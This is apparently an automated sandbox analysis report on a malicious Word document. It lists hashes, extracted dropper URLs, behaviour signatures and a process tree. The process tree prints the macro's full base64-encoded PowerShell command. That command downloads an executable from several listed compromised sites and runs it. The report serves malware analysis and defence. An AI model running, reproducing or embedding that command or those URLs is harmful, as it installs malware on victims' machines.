Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    13/08/2024, 20:11

General

  • Target

    948f591ca0825a6298b648bf4eccbefb_JaffaCakes118.doc

  • Size

    201KB

  • MD5

    948f591ca0825a6298b648bf4eccbefb

  • SHA1

    f8001b5d311b0d6de41bcdccac9821439ea5f45a

  • SHA256

    912e6b82fee5f9b6770150fa456e40051bfae0d70f696e3cde2b0c82e9a1f891

  • SHA512

    190d3ee08289c36094f3c319e84b95b4d831a0364990b0254e12521deb42005f9a6885a2bc785b27fe79695d38f90ab1fea1d9fe75bbfe5d5a3d6c47e7877778

  • SSDEEP

    3072:dUqJ1NgsA8k/gvh0NZ0lGX1nZ7ZhpSgKsiEHE+b64Js:dBtgVIveNZvnvzKjEkc6cs

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bavhome.com/wp-content/td/

exe.dropper

http://hercinovic.com/cgi-bin/mZt/

exe.dropper

https://jeffdahlke.com/css/3u/

exe.dropper

http://calledtochange.org/CalledtoChange/V/

exe.dropper

http://daoisthealing.com/cgi-bin/c/

exe.dropper

https://scyzm.net/wp-content/j/

exe.dropper

http://www.bismarjeparamebel.com/u/pCp/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\948f591ca0825a6298b648bf4eccbefb_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbwBGAGkATABlAFwAeABfAHgANQBWAFoAcgBcAEYAOABCAFkAZQBhAE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAGAAUgBpAHQAeQBgAHAAcgBvAHQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACsAJwAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABIAHUAcgBwAGgAdwBpACAAPQAgACgAKAAnAFkAeQAnACsAJwB4ACcAKQArACcAbgBvACcAKwAnADMAJwApADsAJABMAGIAagB5ADAAZAAxAD0AKAAoACcARwBnAHgAJwArACcAbgAnACkAKwAoACcAbQBkACcAKwAnAGoAJwApACkAOwAkAEQAcwA2ADcANgBlAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AWABfAHgAJwArACcANQB2AHoAcgB7ADAAfQBGACcAKwAnADgAYgB5AGUAYQBvAHsAMAB9ACcAKQAgACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABIAHUAcgBwAGgAdwBpACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwA1ADMAaQB1AGMAYwA9ACgAJwBQACcAKwAnADcANgAnACsAKAAnADEAJwArACcAcQBuAGIAJwApACkAOwAkAFYAeQBlAHkAcgBiAGMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFoAXwBoADcAXwB4AGEAPQAoACgAJwBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAYQB2AGgAJwApACsAKAAnAG8AJwArACcAbQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AJwArACcAdAAnACkAKwAnAGQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBoAGUAJwArACcAcgBjAGkAbgBvAHYAJwArACcAaQBjACcAKwAnAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAbgAvACcAKQArACcAbQAnACsAKAAnAFoAdAAnACsAJwAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AagAnACsAKAAnAGUAJwArACcAZgBmACcAKQArACcAZAAnACsAKAAnAGEAJwArACcAaABsACcAKQArACgAJwBrAGUAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBjAHMAJwArACcAcwAnACkAKwAnAC8AMwAnACsAKAAnAHUALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAbAAnACkAKwAoACcAbAAnACsAJwBlAGQAJwApACsAKAAnAHQAbwAnACsAJwBjAGgAYQBuACcAKwAnAGcAZQAuAG8AJwApACsAJwByACcAKwAnAGcAJwArACgAJwAvAEMAYQAnACsAJwBsACcAKQArACcAbABlACcAKwAoACcAZAB0ACcAKwAnAG8AQwBoAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAC8AJwApACsAJwBWAC8AJwArACcAKgAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AJwApACsAJwBkAGEAJwArACgAJwBvAGkAcwB0ACcAKwAnAGgAZQBhACcAKQArACgAJwBsACcAKwAnAGkAbgBnAC4AYwBvAG0ALwAnACkAKwAnAGMAZwAnACsAKAAnAGkALQBiAGkAbgAnACsAJwAvAGMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AJwApACsAKAAnAHMAJwArACcAYwB5ACcAKQArACgAJwB6ACcAKwAnAG0ALgBuAGUAdAAnACsAJwAvACcAKQArACcAdwAnACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgAnACsAJwB0AGUAJwArACcAbgB0AC8AagAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAnACsAJwAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACkAKwAoACcAdwAuACcAKwAnAGIAaQBzAG0AJwApACsAJwBhAHIAJwArACgAJwBqAGUAcABhAHIAYQAnACsAJwBtACcAKwAnAGUAJwArACcAYgBlAGwALgAnACsAJwBjAG8AbQAvAHUAJwApACsAKAAnAC8AJwArACcAcABDAHAAJwApACsAJwAvACcAKQAuACIAUwBgAHAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGcAZAA5ADgAdABpAD0AKAAoACcAVwAwACcAKwAnAG4AagAnACkAKwAoACcAdABoACcAKwAnAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGcAZgB1AG4AYQB3ACAAaQBuACAAJABaAF8AaAA3AF8AeABhACkAewB0AHIAeQB7ACQAVgB5AGUAeQByAGIAYwAuACIARABvAGAAVwBgAE4ATABPAEEAZABmAGkAYABMAEUAIgAoACQAVQBnAGYAdQBuAGEAdwAsACAAJABEAHMANgA3ADYAZQBvACkAOwAkAFIAbQA5AHUAdwB0AGUAPQAoACcAWgAnACsAJwA2ACcAKwAoACcAYwBjACcAKwAnAGkAYQB3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEQAcwA2ADcANgBlAG8AKQAuACIATABgAGUATgBnAHQASAAiACAALQBnAGUAIAAzADcAOQA5ADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQARABzADYANwA2AGUAbwApADsAJABFAGQAZwBfAG0AbwBoAD0AKAAnAEEAJwArACcAbgAnACsAKAAnAHcAMQAnACsAJwA0ADcAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVABiAGUAcAByADUAMgA9ACgAKAAnAFMAJwArACcAMABjACcAKQArACgAJwBxAGYAdAAnACsAJwA3ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGUAbQBlAHMAZABuAD0AKAAoACcAVAAwAHcAZgAnACsAJwBzACcAKQArACcAeQBnACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2612

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      a09af919574fae4614f5f940260ba342

      SHA1

      c03730e2b6b91a620158558562e264c25ef0f969

      SHA256

      c521e17a5ee14186e36f696bba2d2e4c43d198a3456962cb0b7dd738787b18d1

      SHA512

      d2365c5629427236419584b0b8c6c6b75a660fe749e5aaa9f756c2c8d972a42807851e2569de29abad77f4bd5f7bdc35247930b29ae86a884daa7e36c7ae8f93

    • memory/2612-51-0x000000001B630000-0x000000001B912000-memory.dmp

      Filesize

      2.9MB

    • memory/2612-52-0x00000000027E0000-0x00000000027E8000-memory.dmp

      Filesize

      32KB

    • memory/2972-9-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-12-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-8-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-7-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-28-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-27-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-26-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-19-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-18-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-17-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-16-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-15-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-14-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-13-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-43-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-11-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-10-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-0-0x000000002FF71000-0x000000002FF72000-memory.dmp

      Filesize

      4KB

    • memory/2972-5-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-39-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-33-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-37-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-36-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-35-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-34-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-38-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-32-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-31-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-30-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-29-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-45-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-44-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-6-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-2-0x000000007172D000-0x0000000071738000-memory.dmp

      Filesize

      44KB

    • memory/2972-58-0x000000007172D000-0x0000000071738000-memory.dmp

      Filesize

      44KB

    • memory/2972-59-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2972-60-0x00000000058F0000-0x00000000059F0000-memory.dmp

      Filesize

      1024KB

    • memory/2972-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2972-78-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2972-79-0x000000007172D000-0x0000000071738000-memory.dmp

      Filesize

      44KB